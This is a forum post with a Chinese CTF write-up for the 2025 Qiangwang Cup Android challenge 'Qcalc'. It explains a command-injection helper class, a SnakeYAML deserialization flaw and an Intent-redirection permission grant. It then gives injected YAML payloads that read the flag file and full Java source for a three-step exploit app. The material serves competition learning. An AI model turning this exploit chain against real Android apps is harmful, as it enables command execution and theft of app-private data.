2025强网杯Qcalc思路

查看 51|回复 0
作者:n0rth5ea   
Qcalc
强网杯2025
没全做出来,不会做成完全自动的,也不知道poc检测原理
利用点
[ol]

  • 后门类执行指令
    package com.qinquang.calc;
    import android.util.Log;
    /* loaded from: classes3.dex */
    public final class PingUtil {
       private static final String TAG = "PingUtil";
       public PingUtil(String address) {
           try {
               Log.d(TAG, "PingUtil constructor called with: " + address);
               String pingCmd = "ping -c 1 " + address;
               Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", pingCmd});
               Log.d(TAG, "Command executed: " + pingCmd);
               process.waitFor();
           } catch (Exception e) {
               Log.e(TAG, "Error executing ping command", e);
           }
       }
    }
    这个类中的构造函数会接收一个字符串,并接在ping -c 1后被执行
  • -c 告诉 shell(这里是 /system/bin/sh)从后面的字符串中读取并执行命令,而不是进入交互模式。

  • yaml反序列化漏洞(SnakeYaml)
    原理:https://changeyourway.github.io/2025/05/17/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-SnakeYaml%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
    源码:
    public class HistoryManager {
       public static final String HISTORY_FILE_NAME = "history.yml";
           //省略
           public List loadHistory() {
           Yaml yaml = new Yaml();
           try {
               FileInputStream fis = this.context.openFileInput(HISTORY_FILE_NAME);
               InputStreamReader reader = new InputStreamReader(fis);
               try {
                   Object result = yaml.load(reader);

  • 非法Intent提权
    在MainActivity中onEqual如果出现异常并且有fallbackIntent便会进入BridgeActivity
    public void onEqual(View view) {
           char c;
           if (this.input.isEmpty() || this.operator.isEmpty()) {
               return;
           }
           double secondNum = Double.parseDouble(this.input);
           double result = 0.0d;
           String expression = this.firstNum + " " + this.operator + " " + secondNum;
           try {
               String str = this.operator;
               switch (str.hashCode()) {
                           // 省略
                   case 3:
                       result = this.firstNum / secondNum;
                       if (!Double.isInfinite(result) && !Double.isNaN(result)) {
                           break;
                       } else {
                           throw new ArithmeticException("Division by zero detected");
                       }
               }
               String fullCalculation = expression + " = " + result;
               this.tvInput.setText(String.valueOf(result));
               this.historyManager.saveHistory(fullCalculation);
           } catch (Exception unused) {
               Log.d("QiangCalc", "Exception during calculation: " + unused.getMessage());
               unused.printStackTrace();
               Intent fallbackIntent = (Intent) getIntent().getParcelableExtra("fallback");
               Log.d("QiangCalc", "Fallback intent: " + (fallbackIntent != null ? "found" : "not found"));
               if (fallbackIntent != null) {
                   Log.d("QiangCalc", "Fallback intent data: " + fallbackIntent.getData());
                   Log.d("QiangCalc", "Fallback intent extras: " + fallbackIntent.getExtras());
                   fallbackIntent.addFlags(268435456);
                   ContentValues bridgeValues = new ContentValues();
                   bridgeValues.put("action", "process");
                   bridgeValues.put(TypedValues.AttributesType.S_TARGET, "history");
                   bridgeValues.put("timestamp", Long.valueOf(System.currentTimeMillis()));
                   fallbackIntent.putExtra("bridge_values", bridgeValues);
                   String signature = getIntent().getStringExtra("calc_signature");
                   fallbackIntent.putExtra("bridge_signature", signature);
                   Intent bridgeIntent = new Intent(this, BridgeActivity.class);
                   bridgeIntent.putExtra("origIntent", fallbackIntent);
                   startActivity(bridgeIntent);
                   finish();
               }
               this.tvInput.setText("Error");
           }
           this.input = "";
           this.operator = "";
       }
    BridgeActivity检验了一系列条件,都符合时给该Intent读写history.yml权限
               if (values != null && processContentValues(values)) {
                   String token = origIntent.getStringExtra("bridge_token");
                   if (!validateToken(token)) {
                       Log.e(TAG, "Invalid token");
                       finish();
                       return;
                   }
                   File historyFile = new File(getFilesDir(), HistoryManager.HISTORY_FILE_NAME);
                   Uri historyUri = Uri.parse("content://com.qinquang.calc/" + historyFile.getName());
                   origIntent.setData(historyUri);
                   origIntent.addFlags(3);
                   startActivity(origIntent);
    [/ol]
    攻击链
    [ol]

  • 应用除零异常,将构造的恶意Intent传入桥接,往history.yml中写入恶意代码
    "!!com.qinquang.calc.PingUtil [ '8.8.8.8;cat /data/data/com.qinquang.calc/flag-*.txt > /data/data/com.qinquang.calc/files/history.yml' ]"

  • 触发loadHistory,yaml反序列化执行
    ping -c 1 8.8.8.8;cat /data/data/com.qinquang.calc/flag-*.txt > /data/data/com.qinquang.calc/files/history.yml

  • 再次应用除零异常,读取history.yml,flag就存在里面了
    [/ol]
    对于全自动的思路
  • 需求,调用loadhistary函数,同时不能将history.yml覆盖

    [ol]
  • 将flag合法的存入xml,调用save中的load先触发,但是第一次load才刚执行将history重写,此时load用的inputstream是反序列化漏洞的,load返回的是空。
  • 除了HistoryActivity没有单独调用load的,然鹅
  • 做出来poc也不知道从log匹配还是什么,放弃吧~
  • 做出来也进不了线下,我们4个23小登机房坐牢了2天燃尽了,最后一小时聊聊天休息吧~
    [/ol]
    apk编写
    按顺序按按钮就行,第二个按钮按下后点计算器H运行loadhistory触发,再第三个按钮除零异常读取
    package com.n0rth5ea.creakcluc;
    import android.app.Activity;
    import android.content.Intent;
    import android.net.Uri;
    import android.os.Bundle;
    import android.util.Log;
    import android.widget.Toast;
    import java.io.BufferedReader;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.io.OutputStream;
    import java.nio.charset.StandardCharsets;
    public class PermissionReceiverActivity extends Activity {
        private static final String TAG = "PermissionReceiver";
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            Intent intent = getIntent();
            if (intent != null && intent.getData() != null) {
                Uri historyUri = intent.getData();
                boolean isReadMode = intent.getBooleanExtra("read_mode", false);
                if (isReadMode) {
                    // 读取模式:从history.yml读取flag
                    try (InputStream is = getContentResolver().openInputStream(historyUri);
                         BufferedReader reader = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8))) {
                        StringBuilder flagContent = new StringBuilder();
                        String line;
                        while ((line = reader.readLine()) != null) {
                            flagContent.append(line);
                        }
                        String flag = flagContent.toString();
                        Log.d(TAG, flag);
                        Toast.makeText(this, "Flag captured!", Toast.LENGTH_LONG).show();
                        MainActivity.flag = flag;
                    } catch (Exception e) {
                        Log.e(TAG, "Failed to read from history.yml", e);
                        Toast.makeText(this, "Failed to read flag: " + e.getMessage(), Toast.LENGTH_LONG).show();
                    }
                } else {
                    // 写入模式:写入恶意YAML到history.yml
                    // 构造恶意YAML,使用PingUtil执行命令将flag写入history.yml
                    String maliciousYaml = "!!com.qinquang.calc.PingUtil [ '8.8.8.8; echo \"- $(cat /data/data/com.qinquang.calc/flag-*.txt | base64)\" > /data/data/com.qinquang.calc/files/history.yml' ]";
                    try (OutputStream os = getContentResolver().openOutputStream(historyUri)) {
                        if (os != null) {
                            os.write(maliciousYaml.getBytes(StandardCharsets.UTF_8));
                            Log.d(TAG, "Successfully wrote malicious YAML to history.yml");
                            Toast.makeText(this, "Payload written successfully", Toast.LENGTH_SHORT).show();
                        }
                    } catch (Exception e) {
                        Log.e(TAG, "Failed to write to history.yml", e);
                        Toast.makeText(this, "Failed to write payload: " + e.getMessage(), Toast.LENGTH_LONG).show();
                    }
                }
            }
            finish();
        }
    }
    package com.n0rth5ea.creakcluc;
    import android.content.ComponentName;
    import android.content.ContentValues;
    import android.content.Intent;
    import android.net.Uri;
    import android.os.Bundle;
    import android.util.Log;
    import android.widget.Button;
    import android.widget.TextView;
    import androidx.appcompat.app.AppCompatActivity;
    import java.nio.charset.StandardCharsets;
    import java.security.MessageDigest;
    public class MainActivity extends AppCompatActivity {
        private static final String TAG = "ExploitMainActivity";
        private TextView logTextView;
        public static String flag = "";
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
            logTextView = findViewById(R.id.logTextView);
            Button btnWrite = findViewById(R.id.btn_write_payload);
            Button btnTrigger = findViewById(R.id.btn_trigger);
            Button btnRead = findViewById(R.id.btn_read_flag);
            btnWrite.setOnClickListener(v -> writePayload());
            btnTrigger.setOnClickListener(v -> triggerExecution());
            btnRead.setOnClickListener(v -> readResult());
            log("Exploit app ready. Click buttons in order.");
        }
        private void log(String message) {
            Log.d(TAG, message);
            runOnUiThread(() -> {
                String currentText = logTextView.getText().toString();
                logTextView.setText(currentText + "\n" + message);
            });
        }
        private void writePayload() {
            log(" Step 1: Writing malicious payload to history.yml...");
            Intent payloadIntent = new Intent();
            payloadIntent.setClassName(getPackageName(), "com.n0rth5ea.creakcluc.PermissionReceiverActivity");
            payloadIntent.putExtra("read_mode", false);
            // 构造bridge_values
            ContentValues values = new ContentValues();
            values.put("action", "process");
            values.put("target", "history");
            payloadIntent.putExtra("bridge_values", values);
            // 生成token
            String token = "aaf4b4eb2510cf9e";
            payloadIntent.putExtra("bridge_token", token);
            // 设置flags
            payloadIntent.setFlags(Intent.FLAG_FROM_BACKGROUND);
            // 构造触发Intent
            Intent triggerIntent = new Intent(Intent.ACTION_VIEW);
            triggerIntent.setData(Uri.parse("qiangcalc://calculate?expression=10/0"));
            triggerIntent.putExtra("fallback", payloadIntent);
            triggerIntent.setPackage("com.qinquang.calc");
            try {
                startActivity(triggerIntent);
                log("[+] Payload write request sent");
            } catch (Exception e) {
                log("[!] Failed to send payload write request: " + e.getMessage());
            }
        }
        private void triggerExecution() {
            log(" Step 2: Triggering payload execution in target app...");
            try {
                log(" Trying to launch HistoryActivity directly...");
                Intent historyIntent = new Intent();
                historyIntent.setComponent(new ComponentName("com.qinquang.calc", "com.qinquang.calc.HistoryActivity"));
                historyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                startActivity(historyIntent);
                log("[+] Success! HistoryActivity should be launching now.");
            } catch (SecurityException e) {
                log("[!] Failed to launch HistoryActivity directly (it might be non-exported).");
                log(" Falling back to launching the main app. You will need to click 'History' manually.");
                try {
                    Intent mainIntent = getPackageManager().getLaunchIntentForPackage("com.qinquang.calc");
                    if (mainIntent != null) {
                        startActivity(mainIntent);
                        log("[+] Target app launched. Please click the 'History' button to trigger the payload.");
                    } else {
                        log("[!] Could not find the main launch intent for the target app.");
                    }
                } catch (Exception ex) {
                    log("[!] Failed to launch the main app: " + ex.getMessage());
                }
            } catch (Exception e) {
                log("[!] An unknown error occurred while trying to launch HistoryActivity: " + e.getMessage());
            }
        }
        private void readResult() {
            log(" Step 3: Reading the result from history.yml...");
            Intent payloadIntent = new Intent();
            payloadIntent.setClassName(getPackageName(), "com.n0rth5ea.creakcluc.PermissionReceiverActivity");
            payloadIntent.putExtra("read_mode", true);
            // 构造bridge_values
            ContentValues values = new ContentValues();
            values.put("action", "process");
            values.put("target", "history");
            payloadIntent.putExtra("bridge_values", values);
            // 生成token
            String token = "aaf4b4eb2510cf9e";
            payloadIntent.putExtra("bridge_token", token);
            // 设置flags
            payloadIntent.setFlags(Intent.FLAG_FROM_BACKGROUND);
            // 构造触发Intent
            Intent triggerIntent = new Intent(Intent.ACTION_VIEW);
            triggerIntent.setData(Uri.parse("qiangcalc://calculate?expression=10/0"));
            triggerIntent.putExtra("fallback", payloadIntent);
            triggerIntent.setPackage("com.qinquang.calc");
            try {
                startActivity(triggerIntent);
                log("[+] Read request sent. Check Logcat for the flag.");
            } catch (Exception e) {
                log("[!] Failed to send read request: " + e.getMessage());
            }
        }
    }

    思路, 也不

  • 您需要登录后才可以回帖 登录 | 立即注册

    返回顶部